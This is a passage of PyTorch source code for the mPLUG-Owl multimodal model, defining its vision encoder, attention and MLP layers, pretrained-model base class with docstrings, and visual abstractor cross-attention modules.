seq_length_with_past = seq_length\n past_key_values_length = 0\n if past_key_values[0] is not None:\n past_key_values_length = past_key_values[0][0].shape[2]\n seq_length_with_past = seq_length_with_past + past_key_values_length\n if attention_mask is None:\n attention_mask = torch.ones((batch_size, seq_length_with_past),\n device=hidden_states.device)\n else:\n attention_mask = attention_mask.to(hidden_states.device)\n\n alibi = self.build_alibi_tensor(\n attention_mask, self.num_heads, dtype=hidden_states.dtype)\n\n causal_mask = self._prepare_attn_mask(\n attention_mask,\n input_shape=(batch_size, seq_length),\n past_key_values_length=past_key_values_length,\n )\n\n for i, (block, layer_past) in enumerate(zip(self.h, past_key_values)):\n if output_hidden_states:\n all_hidden_states = all_hidden_states + (hidden_states, )\n\n if self.gradient_checkpointing and self.training:\n\n def create_custom_forward(module):\n\n def custom_forward(*inputs):\n # None for past_key_value\n return module(\n *inputs,\n use_cache=use_cache,\n output_attentions=output_attentions)\n\n return custom_forward\n\n outputs = torch.utils.checkpoint.checkpoint(\n create_custom_forward(block),\n hidden_states,\n alibi,\n causal_mask,\n layer_past,\n head_mask[i],\n )\n else:\n outputs = block(\n hidden_states,\n layer_past=layer_past,\n attention_mask=causal_mask,\n head_mask=head_mask[i],\n use_cache=use_cache,\n output_attentions=output_attentions,\n alibi=alibi,\n )\n\n hidden_states = outputs[0]\n if use_cache is True:\n presents = presents + (outputs[1], )\n\n if output_attentions:\n all_self_attentions = all_self_attentions + (\n outputs[2 if use_cache else 1], )\n\n # Add last hidden state\n hidden_states = self.ln_f(hidden_states)\n\n if output_hidden_states:\n all_hidden_states = all_hidden_states + (hidden_states, )\n\n if not return_dict:\n return tuple(\n v for v in\n [hidden_states, presents, all_hidden_states, all_self_attentions]\n if v is not None)\n\n return BaseModelOutputWithPastAndCrossAttentions(\n last_hidden_state=hidden_states,\n past_key_values=presents,\n hidden_states=all_hidden_states,\n attentions=all_self_attentions,\n )\n\n\ndef get_ltor_masks_and_position_ids_from_embeddings(data):\n \"\"\"Build masks and position id for left to right model.\"\"\"\n\n # Extract batch size and sequence length.\n micro_batch_size, seq_length = data.size()[:2]\n\n # Attention mask (lower triangular).\n att_mask_batch = 1\n attention_mask = torch.tril(\n torch.ones((att_mask_batch, seq_length, seq_length),\n device=data.device)).view(att_mask_batch, 1, seq_length,\n seq_length)\n\n # Loss mask.\n loss_mask = torch.ones(\n data.size()[:2], dtype=torch.float, device=data.device)\n\n # Position ids.\n position_ids = torch.arange(\n seq_length, dtype=torch.long, device=data.device)\n position_ids = position_ids.unsqueeze(0).expand_as(data[..., 0])\n\n # Convert attention mask to binary:\n attention_mask = (attention_mask < 0.5)\n\n return attention_mask, loss_mask, position_ids\n\n\nclass MplugOwlVisionEmbeddings(nn.Module):\n\n def __init__(self, config: MplugOwlVisionConfig):\n super().__init__()\n self.config = config\n self.hidden_size = config.hidden_size\n self.image_size = config.image_size\n self.patch_size = config.patch_size\n\n self.cls_token = nn.Parameter(torch.randn(1, 1, self.hidden_size))\n\n self.patch_embed = nn.Conv2d(\n in_channels=3,\n out_channels=self.hidden_size,\n kernel_size=self.patch_size,\n stride=self.patch_size,\n bias=False)\n\n self.num_patches = (self.image_size // self.patch_size)**2\n\n self.position_embedding = nn.Parameter(\n torch.randn(1, self.num_patches + 1, self.hidden_size))\n\n layernorm_func = LayerNormFp32 if config.use_fp32_layernorm else nn.LayerNorm\n self.pre_layernorm = layernorm_func(\n self.hidden_size, eps=config.layer_norm_eps)\n\n def forward(self, pixel_values: torch.FloatTensor) -> torch.Tensor:\n batch_size = pixel_values.size(0)\n image_embeds = self.patch_embed(pixel_values)\n image_embeds = image_embeds.flatten(2).transpose(1, 2)\n\n class_embeds = self.cls_token.expand(batch_size, 1,\n -1).to(image_embeds.dtype)\n embeddings = torch.cat([class_embeds, image_embeds], dim=1)\n embeddings = embeddings + \\\n self.position_embedding[:, : embeddings.size(1)].to(\n image_embeds.dtype)\n embeddings = self.pre_layernorm(embeddings)\n return embeddings\n\n\nclass LayerNormFp32(nn.LayerNorm):\n \"\"\"Subclass torch's LayerNorm to handle fp16 (by casting to float32 and back).\"\"\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n def forward(self, x: torch.Tensor):\n output = torch.nn.functional.layer_norm(\n x.float(),\n self.normalized_shape,\n self.weight.float() if self.weight is not None else None,\n self.bias.float() if self.bias is not None else None,\n self.eps,\n )\n return output.type_as(x)\n\n\nclass MplugOwlVisionAttention(nn.Module):\n \"\"\"Multi-headed attention from 'Attention Is All You Need' paper\"\"\"\n\n def __init__(self, config):\n super().__init__()\n self.config = config\n self.hidden_size = config.hidden_size\n self.num_heads = config.num_attention_heads\n self.head_dim = self.hidden_size // self.num_heads\n if self.head_dim * self.num_heads != self.hidden_size:\n raise ValueError(\n f'hidden_size must be divisible by num_heads (got `hidden_size`: {self.hidden_size} and `num_heads`:'\n f' {self.num_heads}).')\n self.scale = self.head_dim**-0.5\n self.dropout = nn.Dropout(config.attention_dropout)\n\n self.query_key_value = nn.Linear(self.hidden_size,\n 3 * self.hidden_size)\n self.dense = nn.Linear(self.hidden_size, self.hidden_size)\n\n def _shape(self, tensor: torch.Tensor, seq_len: int, bsz: int):\n return tensor.view(bsz, seq_len, self.num_heads,\n self.head_dim).transpose(1, 2).contiguous()\n\n def forward(\n self,\n hidden_states: torch.Tensor,\n head_mask: Optional[torch.Tensor] = None,\n output_attentions: Optional[bool] = False,\n ) -> Tuple[torch.Tensor, Optional[torch.Tensor],\n Optional[Tuple[torch.Tensor]]]:\n \"\"\"Input shape: Batch x Time x Channel\"\"\"\n\n bsz, seq_len, embed_dim = hidden_states.size()\n\n mixed_qkv = self.query_key_value(hidden_states)\n\n mixed_qkv = mixed_qkv.reshape(bsz, seq_len, self.num_heads, 3,\n embed_dim // self.num_heads).permute(\n 3, 0, 2, 1, 4) # [3, b, np, sq, hn]\n query_states, key_states, value_states = (\n mixed_qkv[0],\n mixed_qkv[1],\n mixed_qkv[2],\n )\n\n # Take the dot product between \"query\" and \"key\" to get the raw attention scores.\n attention_scores = torch.matmul(query_states,\n key_states.transpose(-1, -2))\n\n attention_scores = attention_scores * self.scale\n\n # Normalize the attention scores to probabilities.\n attention_probs = torch.softmax(attention_scores, dim=-1)\n\n # This is actually dropping out entire tokens to attend to, which might\n # seem a bit unusual, but is taken from the original Transformer paper.\n attention_probs = self.dropout(attention_probs)\n\n # Mask heads if we want to\n if head_mask is not None:\n attention_probs = attention_probs * head_mask\n\n context_layer = torch.matmul(attention_probs,\n value_states).permute(0, 2, 1, 3)\n\n new_context_layer_shape = context_layer.size()[:-2] + (\n self.hidden_size, )\n context_layer = context_layer.reshape(new_context_layer_shape)\n\n output = self.dense(context_layer)\n\n outputs = (output, attention_probs) if output_attentions else (output,\n None)\n\n return outputs\n\n\nclass QuickGELU(nn.Module):\n\n def forward(self, x: torch.Tensor):\n return x * torch.sigmoid(1.702 * x)\n\n\nclass MplugOwlMLP(nn.Module):\n\n def __init__(self, config):\n super().__init__()\n self.config = config\n self.activation_fn = QuickGELU()\n self.fc1 = nn.Linear(config.hidden_size, config.intermediate_size)\n self.fc2 = nn.Linear(config.intermediate_size, config.hidden_size)\n\n def forward(self, hidden_states: torch.Tensor) -> torch.Tensor:\n hidden_states = self.fc1(hidden_states)\n hidden_states = self.activation_fn(hidden_states)\n hidden_states = self.fc2(hidden_states)\n return hidden_states\n\n\nclass MplugOwlVisionEncoderLayer(nn.Module):\n\n def __init__(self, config: MplugOwlVisionConfig):\n super().__init__()\n self.hidden_size = config.hidden_size\n self.self_attn = MplugOwlVisionAttention(config)\n layernorm_func = LayerNormFp32 if config.use_fp32_layernorm else nn.LayerNorm\n self.input_layernorm = layernorm_func(\n self.hidden_size, eps=config.layer_norm_eps)\n self.mlp = MplugOwlMLP(config)\n self.post_attention_layernorm = layernorm_func(\n self.hidden_size, eps=config.layer_norm_eps)\n\n def forward(\n self,\n hidden_states: torch.Tensor,\n attention_mask: torch.Tensor,\n output_attentions: Optional[bool] = False,\n ) -> Tuple[torch.FloatTensor]:\n \"\"\"\n Args:\n hidden_states (`torch.FloatTensor`): input to the layer of shape `(batch, seq_len, embed_dim)`\n attention_mask (`torch.FloatTensor`): attention mask of size\n `(batch, 1, tgt_len, src_len)` where padding elements are indicated by very large negative values.\n `(config.encoder_attention_heads,)`.\n output_attentions (`bool`, *optional*):\n Whether or not to return the attentions tensors of all attention layers. See `attentions` under\n returned tensors for more detail.\n \"\"\"\n residual = hidden_states\n\n hidden_states = self.input_layernorm(hidden_states)\n hidden_states, attn_weights = self.self_attn(\n hidden_states=hidden_states,\n head_mask=attention_mask,\n output_attentions=output_attentions,\n )\n hidden_states = hidden_states + residual\n residual = hidden_states\n hidden_states = self.post_attention_layernorm(hidden_states)\n hidden_states = self.mlp(hidden_states)\n\n hidden_states = hidden_states + residual\n\n outputs = (hidden_states, )\n\n if output_attentions:\n outputs += (attn_weights, )\n\n return outputs\n\n\nclass MplugOwlPreTrainedModel(PreTrainedModel):\n \"\"\"\n An abstract class to handle weights initialization and a simple interface for downloading and loading pretrained\n models.\n \"\"\"\n\n config_class = MplugOwlConfig\n base_model_prefix = 'mplug_owl'\n supports_gradient_checkpointing = True\n _keys_to_ignore_on_load_missing = [\n r'position_ids',\n r'language_model.encoder.embed_tokens.weight',\n r'language_model.decoder.embed_tokens.weight',\n r'language_model.lm_head.weight',\n ]\n _no_split_modules = ['MplugOwlAttention']\n _keep_in_fp32_modules = ['wo']\n\n def _init_weights(self, module):\n \"\"\"Initialize the weights\"\"\"\n factor = self.config.initializer_range\n if isinstance(module, nn.Conv2d) or isinstance(\n module, nn.Embedding) or isinstance(module, nn.Linear):\n module.weight.data.normal_(mean=0.0, std=factor)\n if hasattr(module, 'bias') and module.bias is not None:\n module.bias.data.zero_()\n\n if isinstance(module, MplugOwlVisionEmbeddings):\n if hasattr(self.config, 'vision_config'):\n factor = self.config.vision_config.initializer_range\n nn.init.trunc_normal_(\n module.position_embedding, mean=0.0, std=factor)\n nn.init.trunc_normal_(module.cls_token, mean=0.0, std=factor)\n\n elif isinstance(module, nn.LayerNorm):\n module.bias.data.zero_()\n module.weight.data.fill_(1.0)\n elif isinstance(module, nn.Linear) and module.bias is not None:\n module.bias.data.zero_()\n elif isinstance(module, nn.Parameter):\n nn.init.trunc_normal_(module.data, mean=0.0, std=factor)\n\n def _set_gradient_checkpointing(self, module, value=False):\n if isinstance(module, MplugOwlVisionEncoder):\n module.gradient_checkpointing = value\n\n\nMPLUG_OWL_START_DOCSTRING = r\"\"\"\n This model inherits from [`PreTrainedModel`]. Check the superclass documentation for the generic methods the\n library implements for all its model (such as downloading or saving, resizing the input embeddings, pruning heads\n etc.)\n\n This model is also a PyTorch [torch.nn.Module](https://pytorch.org/docs/stable/nn.html#torch.nn.Module) subclass.\n Use it as a regular PyTorch Module and refer to the PyTorch documentation for all matter related to general usage\n and behavior.\n\n Parameters:\n config ([`MplugOwlConfig`]): Model configuration class with all the parameters of the model.\n Initializing with a config file does not load the weights associated with the model, only the\n configuration. Check out the [`~PreTrainedModel.from_pretrained`] method to load the model weights.\n\"\"\"\n\nMPLUG_OWL_VISION_INPUTS_DOCSTRING = r\"\"\"\n Args:\n pixel_values (`torch.FloatTensor` of shape `(batch_size, num_channels, height, width)`):\n Pixel values. Pixel values can be obtained using [`MplugOwlPreprocessor`].\n output_attentions (`bool`, *optional*):\n Whether or not to return the attentions tensors of all attention layers. See `attentions` under returned\n tensors for more detail.\n output_hidden_states (`bool`, *optional*):\n Whether or not to return the hidden states of all layers. See `hidden_states` under returned tensors for\n more detail.\n return_dict (`bool`, *optional*):\n Whether or not to return a [`~utils.ModelOutput`] instead of a plain tuple.\n\"\"\"\n\nMPLUG_OWL_TEXT_INPUTS_DOCSTRING = r\"\"\"\n Args:\n input_ids (`torch.LongTensor` of shape `(batch_size, sequence_length)`):\n Indices of input sequence tokens in the vocabulary. Padding will be ignored by default should you provide\n it. Indices can be obtained using [`AutoTokenizer`]. See [`PreTrainedTokenizer.encode`] and\n [`PreTrainedTokenizer.__call__`] for details. [What are input IDs?](../glossary#input-ids)\n attention_mask (`torch.Tensor` of shape `(batch_size, sequence_length)`, *optional*):\n Mask to avoid performing attention on padding token indices. Mask values selected in `[0, 1]`:\n - 1 for tokens that are **not masked**,\n - 0 for tokens that are **masked**.\n [What are attention masks?](../glossary#attention-mask)\n decoder_input_ids (`torch.LongTensor` of shape `(batch_size, target_sequence_length)`, *optional*):\n Indices of decoder input sequence tokens in the vocabulary.\n\n Indices can be obtained using [`AutoTokenizer`]. See [`PreTrainedTokenizer.encode`] and\n [`PreTrainedTokenizer.__call__`] for details.\n\n [What are decoder input IDs?](../glossary#decoder-input-ids)\n\n T5 uses the `pad_token_id` as the starting token for `decoder_input_ids` generation. If `past_key_values`\n is used, optionally only the last `decoder_input_ids` have to be input (see `past_key_values`).\n\n To know more on how to prepare `decoder_input_ids` for pretraining take a look at [T5\n Training](./t5#training).\n decoder_attention_mask (`torch.BoolTensor` of shape `(batch_size, target_sequence_length)`, *optional*):\n Default behavior: generate a tensor that ignores pad tokens in `decoder_input_ids`. Causal mask will also\n be used by default.\n output_attentions (`bool`, *optional*):\n Whether or not to return the attentions tensors of all attention layers. See `attentions` under returned\n tensors for more detail.\n output_hidden_states (`bool`, *optional*):\n Whether or not to return the hidden states of all layers. See `hidden_states` under returned tensors for\n more detail.\n return_dict (`bool`, *optional*):\n Whether or not to return a [`~utils.ModelOutput`] instead of a plain tuple.\n\"\"\"\n\nMPLUG_OWL_INPUTS_DOCSTRING = r\"\"\"\n Args:\n pixel_values (`torch.FloatTensor` of shape `(batch_size, num_channels, height, width)`):\n Pixel values. Pixel values can be obtained using [`MplugOwlPreprocessor`].\n input_ids (`torch.LongTensor` of shape `(batch_size, sequence_length)`, *optional*):\n Indices of input sequence tokens in the vocabulary of the language model. Input tokens can optionally be\n provided to serve as text prompt, which the language model can continue.\n\n Indices can be obtained using [`MplugOwlPreprocessor`]. See [`MplugOwlPreprocessor.__call__`] for details.\n\n [What are input IDs?](../glossary#input-ids)\n attention_mask (`torch.Tensor` of shape `(batch_size, sequence_length)`, *optional*):\n Mask to avoid performing attention on padding token indices. Mask values selected in `[0, 1]`:\n\n - 1 for tokens that are **not masked**,\n - 0 for tokens that are **masked**.\n\n [What are attention masks?](../glossary#attention-mask)\n\n decoder_input_ids (`torch.LongTensor` of shape `(batch_size, target_sequence_length)`, *optional*):\n Indices of decoder input sequence tokens in the vocabulary of the language model. Only relevant in case an\n encoder-decoder language model (like T5) is used.\n\n Indices can be obtained using [`AutoTokenizer`]. See [`PreTrainedTokenizer.encode`] and\n [`PreTrainedTokenizer.__call__`] for details. [What are decoder input IDs?](../glossary#decoder-input-ids)\n\n decoder_attention_mask (`torch.BoolTensor` of shape `(batch_size, target_sequence_length)`, *optional*):\n Default behavior: generate a tensor that ignores pad tokens in `decoder_input_ids`. Causal mask will also\n be used by default.\n\n Only relevant in case an encoder-decoder language model (like T5) is used.\n\n output_attentions (`bool`, *optional*):\n Whether or not to return the attentions tensors of all attention layers. See `attentions` under returned\n tensors for more detail.\n output_hidden_states (`bool`, *optional*):\n Whether or not to return the hidden states of all layers. See `hidden_states` under returned tensors for\n more detail.\n return_dict (`bool`, *optional*):\n Whether or not to return a [`~utils.ModelOutput`] instead of a plain tuple.\n\"\"\"\n\n\nclass MplugOwlVisionEncoder(nn.Module):\n \"\"\"\n Transformer encoder consisting of `config.num_hidden_layers` self attention layers. Each layer is a\n [`MplugOwlVisionEncoderLayer`].\n\n Args:\n config (`MplugOwlVisionConfig`):\n The corresponding vision configuration for the `MplugOwlEncoder`.\n \"\"\"\n\n def __init__(self, config: MplugOwlVisionConfig):\n super().__init__()\n self.config = config\n self.layers = nn.ModuleList([\n MplugOwlVisionEncoderLayer(config)\n for _ in range(config.num_hidden_layers)\n ])\n self.gradient_checkpointing = False\n\n def forward(\n self,\n inputs_embeds,\n attention_mask: Optional[torch.Tensor] = None,\n output_attentions: Optional[bool] = None,\n output_hidden_states: Optional[bool] = None,\n return_dict: Optional[bool] = None,\n ) -> Union[Tuple, BaseModelOutput]:\n r\"\"\"\n Args:\n inputs_embeds (`torch.FloatTensor` of shape `(batch_size, sequence_length, hidden_size)`):\n Embedded representation of the inputs. Should be float, not int tokens.\n attention_mask (`torch.Tensor` of shape `(batch_size, sequence_length)`, *optional*):\n Mask to avoid performing attention on padding token indices. Mask values selected in `[0, 1]`:\n\n - 1 for tokens that are **not masked**,\n - 0 for tokens that are **masked**.\n\n [What are attention masks?](../glossary#attention-mask)\n output_attentions (`bool`, *optional*):\n Whether or not to return the attentions tensors of all attention layers. See `attentions` under\n returned tensors for more detail.\n output_hidden_states (`bool`, *optional*):\n Whether or not to return the hidden states of all layers. See `hidden_states` under returned tensors\n for more detail.\n return_dict (`bool`, *optional*):\n Whether or not to return a [`~utils.ModelOutput`] instead of a plain tuple.\n \"\"\"\n output_attentions = output_attentions if output_attentions is not None else self.config.output_attentions\n output_hidden_states = (\n output_hidden_states if output_hidden_states is not None else\n self.config.output_hidden_states)\n return_dict = return_dict if return_dict is not None else self.config.use_return_dict\n\n encoder_states = () if output_hidden_states else None\n all_attentions = () if output_attentions else None\n\n hidden_states = inputs_embeds\n for idx, encoder_layer in enumerate(self.layers):\n if output_hidden_states:\n encoder_states = encoder_states + (hidden_states, )\n if self.gradient_checkpointing and self.training:\n\n def create_custom_forward(module):\n\n def custom_forward(*inputs):\n return module(*inputs, output_attentions)\n\n return custom_forward\n\n layer_outputs = torch.utils.checkpoint.checkpoint(\n create_custom_forward(encoder_layer),\n hidden_states,\n attention_mask,\n )\n else:\n layer_outputs = encoder_layer(\n hidden_states,\n attention_mask,\n output_attentions=output_attentions,\n )\n\n hidden_states = layer_outputs[0]\n\n if output_attentions:\n all_attentions = all_attentions + (layer_outputs[1], )\n\n if output_hidden_states:\n encoder_states = encoder_states + (hidden_states, )\n\n if not return_dict:\n return tuple(\n v for v in [hidden_states, encoder_states, all_attentions]\n if v is not None)\n return BaseModelOutput(\n last_hidden_state=hidden_states,\n hidden_states=encoder_states,\n attentions=all_attentions)\n\n\nclass MplugOwlVisionModel(MplugOwlPreTrainedModel):\n main_input_name = 'pixel_values'\n config_class = MplugOwlVisionConfig\n\n def __init__(self, config: MplugOwlVisionConfig):\n super().__init__(config)\n self.config = config\n self.hidden_size = config.hidden_size\n\n self.embeddings = MplugOwlVisionEmbeddings(config)\n self.encoder = MplugOwlVisionEncoder(config)\n layernorm_func = LayerNormFp32 if config.use_fp32_layernorm else nn.LayerNorm\n self.post_layernorm = layernorm_func(\n self.hidden_size, eps=config.layer_norm_eps)\n\n self.post_init()\n\n def forward(\n self,\n pixel_values: Optional[torch.FloatTensor] = None,\n output_attentions: Optional[bool] = None,\n output_hidden_states: Optional[bool] = None,\n return_dict: Optional[bool] = None,\n ) -> Union[Tuple, BaseModelOutputWithPooling]:\n r\"\"\"\n Returns:\n\n \"\"\"\n output_attentions = output_attentions if output_attentions is not None else self.config.output_attentions\n output_hidden_states = (\n output_hidden_states if output_hidden_states is not None else\n self.config.output_hidden_states)\n return_dict = return_dict if return_dict is not None else self.config.use_return_dict\n\n if pixel_values is None:\n raise ValueError('You have to specify pixel_values')\n\n hidden_states = self.embeddings(pixel_values)\n\n encoder_outputs = self.encoder(\n inputs_embeds=hidden_states,\n output_attentions=output_attentions,\n output_hidden_states=output_hidden_states,\n return_dict=return_dict,\n )\n\n last_hidden_state = encoder_outputs[0]\n last_hidden_state = self.post_layernorm(last_hidden_state)\n\n pooled_output = last_hidden_state[:, 0, :]\n pooled_output = self.post_layernorm(pooled_output)\n\n if not return_dict:\n return (last_hidden_state, pooled_output) + encoder_outputs[1:]\n\n return BaseModelOutputWithPooling(\n last_hidden_state=last_hidden_state,\n pooler_output=pooled_output,\n hidden_states=encoder_outputs.hidden_states,\n attentions=encoder_outputs.attentions,\n )\n\n def get_input_embeddings(self):\n return self.embeddings\n\n\nclass MplugOwlVisualAbstractorMLP(nn.Module):\n\n def __init__(self, config: MplugOwlVisualAbstractorConfig):\n super().__init__()\n self.config = config\n in_features = config.hidden_size\n hidden_features = config.intermediate_size\n hidden_features = int(2 * hidden_features / 3)\n multiple_of = 256\n hidden_features = multiple_of * \\\n ((hidden_features + multiple_of - 1) // multiple_of)\n self.act = nn.SiLU()\n\n self.w1 = nn.Linear(in_features, hidden_features)\n self.w2 = nn.Linear(hidden_features, in_features)\n self.w3 = nn.Linear(in_features, hidden_features)\n layernorm_func = LayerNormFp32 if config.use_fp32_layernorm else nn.LayerNorm\n self.ffn_ln = layernorm_func(\n hidden_features, eps=config.layer_norm_eps)\n\n def forward(self, hidden_states: torch.Tensor) -> torch.Tensor:\n hidden_states = self.act(\n self.w1(hidden_states)) * self.w3(hidden_states)\n hidden_states = self.ffn_ln(hidden_states)\n hidden_states = self.w2(hidden_states)\n return hidden_states\n\n\nclass MplugOwlVisualAbstractorMultiHeadAttention(nn.Module):\n\n def __init__(self, config: MplugOwlVisualAbstractorConfig):\n super().__init__()\n self.config = config\n if config.hidden_size % config.num_attention_heads != 0:\n raise ValueError(\n 'The hidden size (%d) is not a multiple of the number of attention heads (%d)'\n % (config.hidden_size, config.num_attention_heads))\n\n self.num_attention_heads = config.num_attention_heads\n self.attention_head_size = int(config.hidden_size\n / config.num_attention_heads)\n self.all_head_size = self.num_attention_heads * self.attention_head_size\n\n self.query = nn.Linear(config.hidden_size, self.all_head_size)\n self.key = nn.Linear(config.encoder_hidden_size, self.all_head_size)\n self.value = nn.Linear(config.encoder_hidden_size, self.all_head_size)\n\n self.dropout = nn.Dropout(config.attention_probs_dropout_prob)\n self.save_attention = False\n\n def save_attn_gradients(self, attn_gradients):\n self.attn_gradients = attn_gradients\n\n def get_attn_gradients(self):\n return self.attn_gradients\n\n def save_attention_map(self, attention_map):\n self.attention_map = attention_map\n\n def get_attention_map(self):\n return self.attention_map\n\n def transpose_for_scores(self, x):\n new_x_shape = x.size()[:-1] + (self.num_attention_heads,\n self.attention_head_size)\n x = x.view(*new_x_shape)\n return x.permute(0, 2, 1, 3)\n\n def forward(\n self,\n hidden_states,\n attention_mask=None,\n head_mask=None,\n encoder_hidden_states=None,\n encoder_attention_mask=None,\n past_key_value=None,\n output_attentions=False,\n ):\n # If this is instantiated as a cross-attention module, the keys\n # and values come from an encoder; the attention mask needs to be\n # such that the encoder's padding tokens are not attended to.\n key_layer = self.transpose_for_scores(self.key(encoder_hidden_states))\n value_layer = self.transpose_for_scores(\n self.value(encoder_hidden_states))\n attention_mask = encoder_attention_mask\n\n mixed_query_layer = self.query(hidden_states)\n\n query_layer = self.transpose_for_scores(mixed_query_layer)\n\n past_key_value = (key_layer, value_layer)\n\n # Take the dot product between \"query\" and \"key\" to get the raw attention scores.\n attention_scores = torch.matmul(query_layer,\n key_layer.transpose(-1, -2))\n\n attention_scores = attention_scores / \\\n math.sqrt(self.attention_head_size)\n\n if attention_mask is not None:\n # Apply the attention mask is (precomputed for all layers in BertModel forward() function)\n attention_scores = attention_scores + attention_mask\n\n # Normalize the attention scores to probabilities.\n attention_probs = nn.Softmax(dim=-1)(attention_scores)\n\n if self.save_attention:\n self.save_attention_map(attention_probs)\n attention_probs.register_hook(self.save_attn_gradients)\n\n # This is actually dropping out entire tokens to attend to, which might\n # seem a bit unusual, but is taken from the original Transformer paper.\n attention_probs_dropped = self.dropout(attention_probs)\n\n # Mask heads if we want to\n if head_mask is not None:\n attention_probs_dropped = attention_probs_dropped * head_mask\n\n context_layer = torch.matmul(attention_probs_dropped, value_layer)\n\n context_layer = context_layer.permute(0, 2, 1, 3).contiguous()\n new_context_layer_shape = context_layer.size()[:-2] + (\n self.all_head_size, )\n context_layer = context_layer.view(*new_context_layer_shape)\n\n outputs = (context_layer,\n attention_probs) if output_attentions else (context_layer, )\n\n outputs = outputs + (past_key_value, )\n return outputs\n\n\nclass MplugOwlVisualAbstractorCrossOutput(nn.Module):\n\n def __init__(self, config: MplugOwlVisualAbstractorConfig):\n super().__init__()\n dim = config.hidden_size\n self.out_proj = nn.Linear(dim, dim, bias=True)\n layernorm_func = LayerNormFp32 if config.use_fp32_layernorm else nn.LayerNorm\n self.norm2 = layernorm_func(dim)\n self.mlp = MplugOwlVisualAbstractorMLP(config)\n\n def forward(self, hidden_states: torch.Tensor,\n input_tensor: torch.Tensor) -> torch.Tensor:\n input_tensor = input_tensor + self.out_proj(hidden_states)\n input_tensor = input_tensor + self.mlp(self.norm2(input_tensor))\n return input_tensor\n\n\nclass MplugOwlVisualAbstractorAttention(nn.Module):\n\n def __init__(self, config: MplugOwlVisualAbstractorConfig):\n super().__init__()\n self.attention = MplugOwlVisualAbstractorMultiHeadAttention(config)\n self.output = MplugOwlVisualAbstractorCrossOutput(config)\n self.pruned_heads = set()\n layernorm_func = LayerNormFp32 if config.use_fp32_layernorm else nn.LayerNorm\n self.norm1 = layernorm_func(config.hidden_size)\n self.normk = layernorm_func(config.hidden_size)\n\n def prune_heads(self, heads):\n if len(heads) == 0:\n return\n heads, index = find_pruneable_heads_and_indices(\n heads, self.attention.num_attention_heads,\n self.attention.attention_head_size, self.pruned_heads)\n\n # Prune linear layers\n self.attention.query = prune_linear_layer(self.attention.query, index)\n self.attention.key = prune_linear_layer(self.attention.key, index)\n self.attention.value = prune_linear_layer(self.attention.value, index)\n self.output.dense = prune_linear_layer(\n self.output.out_proj, index, dim=1)\n\n # Update hyper params and store pruned heads\n self.attention.num_attention_heads = self.attention.num_attention_heads - \\\n len(heads)\n self.attention.all_head_size = self.attention.attention_head_size * \\\n self.attention.num_attention_heads\n self.pruned_heads = self.pruned_heads.union(heads)\n\n def forward(\n self,\n hidden_states: torch.Tensor,\n attention_mask: Optional[torch.FloatTensor] = None,\n head_mask: Optional[torch.FloatTensor] = None,\n encoder_hidden_states: Optional[torch.FloatTensor] = None,\n encoder_attention_mask: Optional[torch.FloatTensor] = None,\n past_key_value: Optional[Tuple[Tuple[torch.FloatTensor]]] = None,\n output_attentions: Optional[bool] = False,\n ) -> Tuple[torch.Tensor]:\n # HACK we apply norm on q and k\n hidden_states = self.norm1(hidden_states)\n encoder_hidden_states = self.normk(encoder_hidden_states)\n encoder_hidden_states = torch.cat(\n [hidden_states, encoder_hidden_states], dim=1)\n encoder_attention_mask = torch.cat(\n [attention_mask, encoder_attention_mask], dim=-1)\n self_outputs = self.attention(\n hidden_states,\n attention_mask,\n head_mask,\n encoder_hidden_states,\n encoder_attention_mask,\n past_key_value,\n output_attentions,\n )\n attention_output = self.output(self_outputs[0], hidden_states)\n # add attentions if we output them\n outputs = (attention_output, ) + self_outputs[1:]\n return outputs\n\n\nclass MplugOwlVisualAbstractorLayer(nn.Module):\n\n def __init__(self, config, layer_idx):\n super().__init__()\n self.chunk_size_feed_forward = config.chunk_size_feed_forward\n self.seq_len_dim = 1\n\n self.layer_idx = layer_idx\n\n self.crossattention = MplugOwlVisualAbstractorAttention(config)\n self.has_cross_attention = True\n\n def forward(\n self,\n hidden_states,\n attention_mask=None,\n head_mask=None,\n encoder_hidden_states=None,\n encoder_attention_mask=None,\n output_attentions=False,\n ):\n if encoder_hidden_states is None:\n raise ValueError(\n 'encoder_hidden_states must be given for cross-attention layers'\n )\n cross_attention_outputs = self.crossattention(\n hidden_states,\n attention_mask,\n head_mask,\n encoder_hidden_states,\n encoder_attention_mask,\n output_attentions=output_attentions,\n )\n query_attention_output = cross_attention_outputs[0]\n\n outputs = (query_attention_output, )\n return outputs\n\n\nclass MplugOwlVisualAbstractorEncoder(nn.Module):\n\n def __init__(self, config):\n super().__init__()\n self.config = config\n self.layers = nn.ModuleList([\n MplugOwlVisualAbstractorLayer(config, layer_idx)\n for layer_idx in range(config.num_hidden_layers)\n ])\n self.gradient_checkpointing = False\n\n def forward(\n self,\n hidden_states,\n attention_mask=None,\n head_mask=None,\n encoder_hidden_states=None,\n encoder_attention_mask=None,\n past_key_values=None,\n output_attentions=False,\n output_hidden_states=False,\n return_dict=True,\n ):\n all_hidden_states = () if output_hidden_states else None\n\n for i in range(self.config.num_hidden_layers):\n layer_module = self.layers[i]\n if output_hidden_states:\n all_hidden_states = all_hidden_states + (hidden_states, )\n\n layer_head_mask = head_mask[i] if head_mask is not None else None\n past_key_value = past_key_values[\n i] if past_key_values is not None else None\n\n if getattr(self.config, 'gradient_checkpointing',\n False) and self.training:\n\n def create_custom_forward(module):\n\n def custom_forward(*inputs):\n return module(*inputs, past_key_value,\n output_attentions)\n\n return custom_forward\n\n layer_outputs = torch.utils.checkpoint.checkpoint(\n create_custom_forward(layer_module),\n hidden_states,\n attention_mask,\n layer_head_mask,\n encoder_hidden_states,\n encoder_attention_mask,\n )\n else:\n layer_outputs = layer_module(\n hidden_states,\n attention_mask,\n layer_head_mask,\n encoder_hidden_states,\n encoder_attention_mask,\n output_attentions,\n )\n\n hidden_states = layer_outputs[0]\n\n return BaseModelOutput(last_hidden_state=hidden_states, )\n\n\nclass MplugOwlVisualAbstractorModel(MplugOwlPreTrainedModel):\n\n def __init__(self, config: MplugOwlVisualAbstractorConfig,\n language_hidden_size):\n super().__init__(config)\n self.config = config\n\n self.encoder = MplugOwlVisualAbstractorEncoder(config)\n self.visual_fc = torch.nn.Linear(config.hidden_size,\n language_hidden_size)\n self.vit_eos = torch.nn.Parameter(\n torch.randn(1, 1, language_hidden_size))\n self.post_init()\n\n def _prune_heads(self, heads_to_prune):\n \"\"\"\n Prunes heads of the model. heads_to_prune: dict of {layer_num: list of heads to prune in this layer} See base\n class PreTrainedModel\n \"\"\"\n for layer, heads in heads_to_prune.items():\n self.encoder.layer[layer].attention.prune_heads(heads)\n\n def get_extended_attention_mask(\n 